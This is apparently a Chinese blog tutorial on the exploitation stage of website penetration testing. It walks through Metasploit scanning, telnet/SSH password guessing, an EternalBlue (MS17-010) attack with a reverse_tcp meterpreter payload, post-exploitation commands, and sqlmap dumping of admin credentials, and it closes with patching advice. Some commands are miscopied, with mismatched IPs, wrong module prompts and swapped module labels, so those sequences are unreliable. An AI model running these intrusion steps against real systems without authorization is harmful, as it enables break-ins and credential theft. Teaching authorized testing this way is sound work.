给你一个网站你是如何来渗透测试的?——漏洞利用

漏洞利用

    • 方法工具
      • MSF
        • MSF基本概念
        • 技术架构
        • 基本命令
        • 情报收集
        • 口令猜测
        • 社会工程学
        • 网络服务器渗透攻击
        • meterpreter提取
        • 永恒之蓝MS17-010
      • Sqlmap sql注入神器
        • 参数
        • sqlmap,怎么对一个注入点注入?

方法工具

MSF

MSF基本概念

一个漏洞框架。它的全称叫做The Metasploit Framework,简称叫做MSF。
渗透攻击是MSF最强大和最具吸引力的核心功能,还有情报搜集(集成数据库)、威胁建模(找出最可行的攻击路径)、漏洞分析、后渗透攻击与报告生成

技术架构

一个模块就是一个rb脚本
exploits auxiliary payloads encoders nops evasion post
① 辅助模块 auxiliary
为渗透测试的信息收集环节提供了大量的辅助模块,包括各种网络服务的扫描与查点、构建虚拟服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块
辅助模块能帮助渗透测试者在渗透攻击之前取得目标系统丰富的情报信息
② 渗透攻击模块 exploits
是利用发现的安全漏洞或配置弱点对目标系统进行攻击,以植入和运行攻击载荷、从而获取对远程目标系统访问权的组件代码
主动渗透攻击所利用的安全漏洞位于网络服务端软件与服务承载的上层应用程序之中,由于这些服务通常是在主机上开启一些监听端口并等待客户端连接,因此针对它们的渗透攻击可以主动发起,通常通过连接目标系统网络服务,注入一些特殊构造的包含“邪恶”攻击数据的网络请求内容,触发安全漏洞,并使得远程服务进程执行在“邪恶”数据中包含攻击载荷,从而获取目标系统的控制会话。
被动渗透攻击利用的漏洞位于客户端软件中,如浏览器、浏览器插件、电子邮件客户端、office与Adobe等各种文档阅读与编辑软件。对于这类存在客户端软件的安全漏洞,我们无法主动的将数据从远程输入到客户端软件中,因此只能采用被动渗透测试攻击的方式,即构造出“邪恶”的网页、电子邮件或文档文件,并通过架设包含此类恶意内容的服务,发送邮件附件、结合社会工程学分发并诱骗目标用户打开、结合网络欺骗和劫持技术等方式,等目标系统上的用户访问到这些恶意的内容,从而触发客户端软件中的安全漏洞,给出控制目标系统的shell会话。
③ 攻击载荷模块 payloads
攻击载荷模块是在渗透测试成功后使目标系统运行一段植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接
④ 空指令模块 encoders
空指令(NOP)是一些对程序运行状态不会构成实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上操作码是0x90
⑤ 编辑器模块 encoders
攻击载荷模块与空指令模块组装完成一个指定序列后,在这段指令被渗透攻击模块加入“邪恶”数据缓冲区交由目标系统运行之前,Metasploit架构还需要完成一道非常重要的工序——编码
编辑器模块的第一个使命就是确保攻击载荷不会出现渗透攻击过程中应加以避免的“坏字符”
编辑器模块的第二个使命就是对攻击载荷进行“免杀”处理
⑥后渗透测试模块 post
主要支持在渗透测试攻击取得目标系统的控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步拓展、实施跳板攻击等
⑦免杀模块 nops
对攻击载荷进行“免杀”处理

基本命令

启动msf msfconsole
msf软件更新
apt-get update a
apt-get install metasploit-framework
info
set
show options
use 你选择的利用模块

情报收集

①网站敏感目录扫描

可以借助metasploit中的brute_dirs\dir_listing\dir_scanner等辅助模块赖进行敏感目录扫描
他们主要使用暴力破解的方式工作,注意此次需要提供一个目录字典

msf5>use auxiliary/scanner/http/dir_scanner 
msf5  auxiliary(scanner/http/dir_scanner)>set RHOSTS 172.16.132.138 
Rhosts >=172.168.132.138
msf5  auxiliary(scanner/http/dir_scanner)>set PATH  /cms/ Path=>/cms/ 
msf5  auxiliary(scanner/http/dir_scanner)>set
THREADS 50 Threads=>50 msf5 
 auxiliary(scanner/http/dir_scanner)>exploit

dir_scanner模块发现网站的一些目录,Admin、admin、images。只要字典足够大,可以找到更多的敏感目录

②主机发现

Metasploit中提供了一些辅助模块可用于主机发现,这些模块位于modules/auxiliary/scanner/discovery/目录中
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/empty_udp
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/discovery/udp_sweep
可以使用arp_sweep来枚举本地局域网中的所有活跃主机

msf5>use auxiliary/scanner/discovery/arp_sweep
msf5  auxiliary(scanner/discovery/arp_sweep)>set RHOSTS 172.16.132.138/24
Rhosts =>172.168.132.138/24
msf5  auxiliary(scanner/discovery/arp_sweep)>set threads 50
Threads=>50
msf5  auxiliary(scanner/discovery/arp_sweep)>exploit

③端口扫描

metasploit的辅助模块提供了几款实用的端口扫描器
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/syn
auxiliary/scanner/portscan/xmas
auxiliary/scanner/portscan/ftpbounce
auxiliary/scanner/portscan/tcp
一般情况下推荐使用syn端口扫描器,因为他的扫描速度比较快,结果比较准确且不易被对方察觉

msf5>use auxiliary/scanner/portscan/syn
msf5  auxiliary(scanner/portscan/syn)>set rhosts 172.16.132.138
Rhosts =>172.168.132.138
msf5  auxiliary(scanner/portscan/syn)>set threads 50
Threads=>50
msf5  auxiliary(scanner/portscan/syn)>exploit

④探测服务详细信息

在metasploit中有一些插件可以调用系统中的命令,比如可以使用nmap探测目标的详细信心

⑤服务查点

在metasploit中有很多用于服务扫描和查点的工具,这些工具通常以[service_name]_version 的辅助模块中,该模块可用于遍历网络中包含某种服务的主机,并进一步确定服务版本

⑥telnet服务查点

可以使用telnet_version模块扫描一下是否有主机或设备开启Telnet服务

msf5>use auxiliary/scanner/telnet/telnet_version
msf5  auxiliary(scanner/telnet/telnet_version)>set rhosts 172.16.132.138/24
Rhosts =>172.168.132.138/24
msf5  auxiliary(scanner/telnet/telnet_version)>set threads 50
Threads=>50
msf5  auxiliary(scanner/telnet/telnet_version)>exploit

⑦ssh 服务查点

msf5>use auxiliary/scanner/ssh/ssh_version
msf5  auxiliary(scanner/http/dir_scanner)>set rhosts 172.16.132.138
Rhosts =>172.168.132.138
msf5  auxiliary(scanner/http/dir_scanner)>set path /cms/
Path=>/cms/
msf5  auxiliary(scanner/http/dir_scanner)>set threads 50
Threads=>50
msf5  auxiliary(scanner/http/dir_scanner)>exploit

⑧mssql服务查点

msf5>use auxiliary/scanner/mssql/mssql_ping 
msf5  auxiliary(scanner/http/dir_scanner)>set rhosts 172.16.132.138
Rhosts =>172.168.132.138
msf5  auxiliary(scanner/http/dir_scanner)>set path /cms/
Path=>/cms/
msf5  auxiliary(scanner/http/dir_scanner)>set threads 50
Threads=>50
msf5  auxiliary(scanner/http/dir_scanner)>exploit

口令猜测

①telnet服务口令猜测

msf5>use auxiliary/scanner/telnet/telnet_login
msf5  auxiliary(scanner/telnet_login)>set rhosts 172.16.132.138
Rhosts =>172.168.132.138
msf5  auxiliary(scanner/telnet_login)>set user_file /root/dic/user.dic
User_file=>/root/dic/user.dic
msf5  auxiliary(scanner/telnet_login)>set pass_file /root/dic/pwd.dic
pass_file=>/root/dic/pwd.dic
msf5  auxiliary(scanner/telnet_login)>set threads 50
Threads=>50
msf5  auxiliary(scanner/telnet_login)>exploit

②SSH服务口令猜测

确定了网络上的SSH服务之后,可以使用MSF中的ssh_login 模块对SSH服务进行口令猜测工具,在进行口令攻击之前,需要一个好用的用户名和口令自动

③MSSQL服务破解

社会工程学

msfvenom
参数说明:
-p
–payload
指定需要使用的payload(攻击载荷)
-f
–format
指定输出格式
-l
–list
列出指定模块的所有资源
-n
–nopsled
为payload预先指定一个NOP滑动长度
-e
–encoder [encoder]
指定需要的encoder(编码器)
-a

网络服务器渗透攻击

MS17-010 永恒之蓝
使用ms17-010对win7进行渗透(传说中的永恒之蓝)

msf5>use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue)>show options
msf5 exploit(windows/smb/ms17_010_eternalblue)>set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue)>back
msf5>use auxiliary/scanner/smb/smb_ms17_010
msf5  auxiliary(scanner/smb/smb_ms17_010)show options
msf5  auxiliary(scanner/smb/smb_ms17_010)set rhosts 10.10.10.20/24
Rhosts =>10.10.10.20/24
msf5  auxiliary(scanner/smb/smb_ms17_010)set threads 50
Threads=>50
msf5  auxiliary(scanner/smb/smb_ms17_010)exploit
msf5>use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue)>show options
msf5 exploit(windows/smb/ms17_010_eternalblue)>set RHOSTS 10.10.10.131
Rhosts =>10.10.10.131
msf5 exploit(windows/smb/ms17_010_eternalblue)>set LHOST 10.10.10.20
Rhosts =>10.10.10.20
msf5 exploit(windows/smb/ms17_010_eternalblue)>exploit
meterpreter>

meterpreter提取

常用命令

background 将meterpreter终端隐藏在后台
sessions 查看当前已经成功获取的会话。-i选项,切入后台会话
shell 获取系统的控制台shell
quit 关闭当前的meterpreter会话,返回MSF终端
pwd 获取目标机上当前的工作目录
cd 切换目录
ls 查看当前目录的内容
upload 上传文件
cat 查看文件内容
edit 编辑文件
download 下载文件
search 搜索文件
ifconfig/ipconfig 查看文件信息
sysinfo 查看系统信息
getuid 获取当前用户的ID
ps 查看进程
getpid 查看当前进程
migrate 切换进程
execute 执行文件
kill 终结指定PID 的进程
shutdown 关机
screenshot 屏幕快照

永恒之蓝MS17-010

永恒之蓝利用Windows系统的SMB漏洞获得系统的最高权限,还通过永恒之蓝制作了勒索病毒,被勒索支付高额赎金才能解密恢复文件。
防护方法:及时更新Windows系统补丁,务必不要轻易打开doc,rtf等后缀的附件
为防止电脑被勒索病毒攻击,关闭系统中的135,137,138,139,445端口即可。
关闭端口方法:控制面板-系统和安全-Windows防火墙-高级设置-入站规则-新建规则-端口-输入135,137,138,139,445-选择阻止连接-“域”“专用”“公用”全选上,组织规则创建完毕

Sqlmap sql注入神器

参数

-u “url” 检测注入点
例:sqlmap -u “htttp://172.16.132.161/cms/show.php?Id=33”
–dbs 列出所有数据库的名字
–current-db 列出当前数据库名字
-D 指定一个数据库
–tables 列出表名
-T 指定表名
–columns 列出所有的字段名
-C 指定字段
–dump 列出字段内容
例:使用以下命令对这name和password两个列进行查询并获取KEY
sqlmap –u “http://www.test.ichunqiu/Art_Show.php?id=2” -D mys -T zzcms_admin –C name,password --dump

sqlmap,怎么对一个注入点注入?

1)如果是get型号,直接,sqlmap -u “诸如点网址”
2) 如果是post型诸如点,可以sqlmap -u "注入点网址” --data=“post的参数”
3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用*号替换,放到文件里,然后sqlmap -r “文件地址”

你可能感兴趣的:(web安全攻防,漏洞利用,MSF,安全)